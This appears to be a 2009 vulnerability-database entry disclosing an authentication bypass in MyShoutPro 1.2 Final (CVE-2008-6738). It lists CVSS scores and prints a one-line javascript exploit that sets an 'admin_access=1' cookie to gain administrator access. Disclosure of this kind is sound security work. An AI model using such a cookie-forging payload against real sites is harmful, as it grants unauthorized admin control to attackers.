MyShoutPro 1.2 Final Insecure Cookie Handling Vulnerability

2009-04-23 / 2009-04-24

Credit: Stack

Risk: High

Local: No

Remote: Yes

CVE: CVE-2008-6738

CWE: CWE-287

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

   	     ########################################################################
             #                                                                      #
             # ...:::::MyShoutPro   Insecure Cookie Handling Vulnerability ::::.... #         
             ########################################################################
 
--------
Discoverd By :Stack
Home : http://v4-team.com
---
exploit:
javascript:document.cookie = "admin_access=1; path=/"; document.cookie = "admin_access=1; path=/";
-----

See this note in RAW Version

Vote for this issue:

50%

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

MyShoutPro 1.2 Final Insecure Cookie Handling Vulnerability

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

MyShoutPro 1.2 Final Insecure Cookie Handling Vulnerability

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.